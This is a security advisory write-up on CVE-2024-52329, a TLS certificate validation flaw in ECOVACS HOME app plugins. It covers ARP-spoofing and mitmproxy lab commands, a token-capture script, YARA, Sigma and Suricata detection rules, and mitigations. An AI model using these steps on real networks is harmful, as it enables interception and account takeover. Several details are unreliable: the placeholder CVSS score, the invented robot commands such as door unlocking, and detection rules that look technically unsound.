CVE-2024-52329

Executive Summary

CVE-2024-52329 exposes a critical TLS certificate validation flaw in the ECOVACS HOME mobile app plugins for specific robot models. An unauthenticated, remote attacker can intercept and modify TLS traffic between the app and backend servers, leading to the theft of authentication tokens. This effectively bypasses all encryption protections, allowing full account takeover and potential control of the connected robot devices. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and severe impact. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary mobile application plugin. The supply chain risk is limited to the distribution of the ECOVACS HOME app through official app stores; however, the lack of proper TLS validation means any network intermediary (e.g., compromised Wi-Fi, malicious ISP) can inject malicious updates or intercept credentials.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the app plugin.
• Confidentiality (C): High (H) – Authentication tokens and traffic fully exposed.
• Integrity (I): High (H) – Attacker can modify traffic and inject commands.
• Availability (A): High (H) – Attacker could disrupt robot operations.

Threat Level: Critical. The combination of network-based, unauthenticated exploitation with full confidentiality and integrity impact makes this a top-priority vulnerability for any Ecovacs robot owner.

Deep Dive & Mechanics

The ECOVACS HOME mobile app uses plugins to communicate with specific robot models. These plugins are responsible for establishing TLS connections to Ecovacs cloud servers. The vulnerability lies in the plugin’s failure to properly validate the server’s TLS certificate. Specifically, the plugin does not check the certificate chain, hostname, or expiration date, and may accept self-signed or invalid certificates.

Attack Scenario:

1. An attacker positions themselves on the same network as the victim (e.g., via a rogue Wi-Fi access point, ARP spoofing, or compromised router).
2. The attacker performs a man-in-the-middle (MITM) attack, intercepting the TLS handshake between the ECOVACS HOME app and the legitimate server.
3. The attacker presents a self-signed or forged certificate. Because the plugin does not validate the certificate, the app accepts it.
4. The attacker can now decrypt all TLS traffic, read authentication tokens, and modify commands sent to the robot (e.g., unlock doors, disable cameras, change schedules).

Root Cause: The plugin likely uses a custom TLS implementation or a misconfigured trust store that does not enforce certificate validation. This is a classic CWE-295 (Improper Certificate Validation) vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior and the expected fix.

Vulnerable Code (Conceptual):

# Pseudocode for the vulnerable plugin
import ssl
import socket

def connect_to_server(host, port):
    context = ssl.create_default_context()
    context.check_hostname = False  # VULNERABLE: No hostname check
    context.verify_mode = ssl.CERT_NONE  # VULNERABLE: No certificate verification
    sock = socket.create_connection((host, port))
    ssock = context.wrap_socket(sock, server_hostname=host)
    return ssock

Patched Code (Expected):

# Pseudocode for the patched plugin
import ssl
import socket

def connect_to_server(host, port):
    context = ssl.create_default_context()
    context.check_hostname = True  # FIXED: Enforce hostname check
    context.verify_mode = ssl.CERT_REQUIRED  # FIXED: Require valid certificate
    sock = socket.create_connection((host, port))
    ssock = context.wrap_socket(sock, server_hostname=host)
    return ssock

The fix requires enabling certificate verification and hostname checking, and ensuring the device trusts the correct Certificate Authority (CA) bundle.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• A computer running Kali Linux (attacker).
• An Ecovacs robot and a smartphone with the ECOVACS HOME app (victim).
• Both devices on the same Wi-Fi network.

Steps:

1. ARP Spoofing: Use arpspoof to redirect traffic from the victim’s phone to the attacker machine.

   arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
   

2. MITM Proxy: Use mitmproxy or Burp Suite to intercept TLS traffic. Since the app does not validate certificates, you can use a self-signed CA.

   mitmproxy --mode transparent --listen-port 8080
   

3. Capture Tokens: Monitor the decrypted traffic for authentication tokens (e.g., JWT, OAuth tokens) in HTTP headers or request bodies.
4. Modify Commands: Use mitmproxy scripts to inject commands to the robot (e.g., {"command": "unlock_door"}).

Exploit Code (Conceptual):

# mitmproxy script to capture tokens
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if "ecovacs.com" in flow.request.pretty_host:
        print(f"[+] Captured request: {flow.request.url}")
        print(f"[+] Headers: {flow.request.headers}")
        if "authorization" in flow.request.headers:
            token = flow.request.headers["authorization"]
            print(f"[!] Token found: {token}")

Blue Team (Defensive)

Detection:

• Monitor for unexpected TLS certificates on the network. Use tools like certspotter or crt.sh to detect rogue certificates.
• Deploy network intrusion detection systems (NIDS) to flag MITM attacks (e.g., ARP spoofing alerts).
• Enable certificate pinning in the app (requires vendor patch).

Mitigation:

• Until a patch is available, users should:
  • Use a VPN when controlling the robot remotely.
  • Avoid using public or untrusted Wi-Fi networks.
  • Monitor the Ecovacs account for unauthorized access.
• Network administrators should:
  • Implement 802.1X authentication to prevent rogue devices.
  • Use DNSSEC and DANE to validate server certificates.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TLS connections to Ecovacs servers using self-signed or untrusted certificates.
  • ARP spoofing traffic (e.g., duplicate IP addresses in ARP tables).
  • Unusual HTTP headers containing stolen tokens (e.g., Authorization: Bearer <token>).
• Host IOCs:
  • Presence of mitmproxy or similar tools on the network.
  • Modified ARP cache entries.
• File IOCs:
  • Log files containing captured tokens (e.g., mitmproxy logs).
• Behavioral IOCs:
  • Robot performing actions without user initiation (e.g., doors unlocking, cameras turning on).

Detection Engineering

YARA Rule

rule CVE_2024_52329_TLS_Bypass {
    meta:
        description = "Detects ECOVACS HOME app plugins with disabled TLS certificate validation"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-52329"
    strings:
        $s1 = "check_hostname = False" nocase
        $s2 = "verify_mode = CERT_NONE" nocase
        $s3 = "ssl.CERT_NONE" nocase
    condition:
        any of ($s*)
}

Sigma Rule

title: CVE-2024-52329 - ECOVACS TLS Certificate Validation Bypass
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic indicating MITM attack against ECOVACS HOME app
author: Valters IT
date: 2025-04-14
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 443
        DestinationHostname: "*.ecovacs.com"
        CertificateIssuer: "CN=*"  # Self-signed or untrusted
    condition: selection
falsepositives:
    - Legitimate use of self-signed certificates in test environments
level: high

Suricata Rule

alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-52329 - ECOVACS TLS Certificate Validation Bypass"; flow:to_server; tls.cert_issuer:"CN=*"; tls.cert_subject:"CN=*.ecovacs.com"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Access: If possible, disable the robot’s remote control feature until a patch is available.
2. Network Segmentation: Place the robot on a separate VLAN with strict firewall rules.
3. Monitor Account Activity: Regularly check the Ecovacs account for unauthorized logins.

Long-Term Fix:

• Ecovacs must release a patched version of the mobile app plugin that properly validates TLS certificates. Users should update the app as soon as the patch is available.
• Implement certificate pinning in the app to prevent MITM attacks even with compromised CAs.

Workaround:

• Use a VPN (e.g., WireGuard) on the smartphone to encrypt all traffic before it reaches the app. This adds an extra layer of encryption, making MITM attacks harder.

Valters IT